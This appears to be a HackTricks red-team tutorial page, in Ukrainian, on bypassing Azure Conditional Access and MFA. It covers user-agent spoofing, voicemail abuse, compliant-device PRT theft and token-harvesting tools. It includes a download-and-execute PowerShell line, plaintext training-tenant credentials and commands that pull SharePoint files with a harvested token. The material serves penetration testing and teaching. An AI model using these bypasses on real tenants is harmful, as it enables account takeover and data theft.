Az - Conditional Access Policies & MFA Bypass

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Azure Conditional Access policies — це правила, що налаштовуються в Microsoft Azure для забезпечення контролю доступу до служб та додатків Azure на основі певних умов. Ці політики допомагають організаціям захищати свої ресурси, застосовуючи відповідні контролі доступу в потрібних обставинах.
Conditional access policies фактично визначають Хто може отримати доступ до Чого Звідки та Як.

Ось кілька прикладів:

  1. Sign-In Risk Policy: Ця політика може вимагати багатофакторну автентифікацію (MFA) при виявленні ризику входу. Наприклад, якщо поведінка входу користувача відрізняється від звичайної — наприклад вхід з іншої країни — система може запросити додаткову автентифікацію.
  2. Device Compliance Policy: Ця політика може обмежувати доступ до служб Azure лише для пристроїв, які відповідають стандартам безпеки організації. Наприклад, доступ може бути дозволений лише з пристроїв, на яких встановлено актуальне антивірусне ПЗ або які працюють на певній версії операційної системи.

Перерахування

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Обходи Conditional Access Policies

Може статися, що conditional access policy перевіряє деяку інформацію, яку легко підробити, що дозволяє обійти політику. І якщо, наприклад, policy конфігурувала MFA, атакуючий зможе його обійти.

Під час налаштування conditional access policy потрібно вказати користувачів, яких це стосується, та цільові ресурси (наприклад, all cloud apps).

Також потрібно налаштувати умови, які спрацьовуватимуть для політики:

  • Network: IP, IP-діапазони та географічні локації
    • Може бути обійдено за допомогою VPN або Proxy для підключення з дозволеної країни або увійти з дозволеної IP-адреси
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device або вибірково Android, iOS, Windows phone, Windows, macOS, Linux
    • Якщо “Any device” не обрано, але вибрані всі інші опції, це можна обійти, використавши випадковий user-agent, не пов’язаний з цими платформами
  • Client apps: Опції — “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” та “Other clients”
    • Щоб обійти — увійти з опцією, яка не була обрана
  • Filter for devices: Можна згенерувати правило, пов’язане з використовуваним пристроєм
  • Authentication flows: Опції — “Device code flow” та “Authentication transfer”
    • Це не вплине на атакуючого, якщо він не намагається зловживати одним із цих протоколів у фішинговій спробі отримати доступ до акаунта жертви

Можливі результати: Block або Grant доступ з потенційними умовами, наприклад require MFA, пристрій має бути compliant…

Device Platforms - Device Condition

Можна встановити умову на основі device platform (Android, iOS, Windows, macOS…), проте вона базується на user-agent, тож її легко обійти. Навіть якщо всі опції вимагають MFA, якщо ви використаєте user-agent, який не розпізнається, ви зможете обійти MFA або блок:

Достатньо, щоб браузер відправляв невідомий user-agent (наприклад Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile), щоб ця умова не спрацювала.
Ви можете змінити user agent вручну у developer tools:

Або використати browser extension like this one.

Locations: Countries, IP ranges - Device Condition

Якщо це встановлено в conditional policy, атакуючий може просто використати VPN у дозволеній країні або спробувати знайти спосіб доступу з дозволеної IP-адреси, щоб обійти ці умови.

Cloud Apps

Можна налаштувати conditional access policies, щоб блокувати або примушувати, наприклад, MFA коли користувач намагається отримати доступ до конкретного додатка:

Щоб спробувати обійти цей захист, перевірте, чи можете ви увійти хоча б у будь-який додаток.
Інструмент AzureAppsSweep має десятки application IDs захардкоджених і спробує залогінитись у них, повідомить про успіх і навіть надасть token у разі успішного входу.

Для перевірки конкретних application IDs у конкретних ресурсах ви також можете використати інструмент, такий як:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Крім того, також можливо захистити метод входу (наприклад, якщо ви намагаєтесь увійти з браузера або з desktop application). Інструмент Invoke-MFASweep виконує деякі перевірки, щоб також спробувати обійти ці захисти.

Інструмент donkeytoken також може використовуватися для подібних цілей, хоча, здається, він не підтримується.

Інструмент ROPCI також можна використовувати для тестування цих захистів і перевірки, чи можливо обійти MFA або блокування, але цей інструмент працює з whitebox перспективи. Спочатку потрібно завантажити список Apps, дозволених у tenant, а потім він спробує увійти в них.

Інші Az MFA обхідні шляхи

Дзвінок

Один з варіантів Azure MFA — це отримати дзвінок на налаштований номер телефону, під час якого у користувача попросять надіслати символ #.

Caution

Оскільки символи — це лише тони, зловмисник може скомпрометувати повідомлення голосової пошти номера, налаштувати як повідомлення тон #, а потім при запиті MFA переконатися, що телефон жертви зайнятий (йому телефонують), щоб виклик Azure був переадресований на голосову пошту.

Сумісні пристрої

Політики часто вимагають compliant device або MFA, тож зловмисник може зареєструвати compliant device, отримати PRT і таким чином обійти MFA.

Почніть з реєстрації compliant device в Intune, потім отримайте PRT за допомогою:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Знайдіть більше інформації про цей тип атаки на наступній сторінці:

Az - Primary Refresh Token (PRT)

Інструменти

AzureAppsSweep

Скрипт отримує деякі облікові дані користувачів і перевіряє, чи може він увійти в деякі додатки.

Це корисно для перевірки, чи для входу в деякі додатки не потрібна MFA, що може дозволити вам пізніше зловживати цим, щоб підвищити привілеї.

roadrecon

Отримує всі політики

roadrecon plugin policies

Invoke-MFASweep

MFASweep — це PowerShell-скрипт, який намагається увійти в різні служби Microsoft, використовуючи надані облікові дані, і визначити, чи увімкнено MFA. Залежно від того, як налаштовані conditional access policies та інші параметри багатофакторної автентифікації, деякі протоколи можуть залишитися однофакторними. Також він має додаткову перевірку конфігурацій ADFS і може спробувати увійти на on-prem ADFS-сервер, якщо його виявлено.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Цей інструмент допоміг виявити обходи MFA та зловживати APIs у кількох продукційних AAD tenants, де клієнти AAD вважали, що MFA примусово застосовано, але автентифікація на основі ROPC спрацювала.

Tip

Потрібно мати дозволи на перелік усіх додатків, щоб згенерувати список додатків для brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token — набір функцій, що мають на меті допомогти консультантам із безпеки, які потребують валідації Conditional Access Policies, тестів для 2FA-enabled Microsoft portals тощо..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Перевірте кожен портал, чи можна увійти без MFA:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Оскільки Azure portal не обмежений, можливо зібрати token з portal endpoint для доступу до будь-якого виявленого сервісу попереднім виконанням. У цьому випадку було виявлено Sharepoint, і запитується token для доступу до нього:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Припустимо, token має дозвіл Sites.Read.All (from Sharepoint). Навіть якщо ви не можете отримати доступ до Sharepoint через веб через MFA, можна використати token для доступу до файлів, використовуючи згенерований token:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks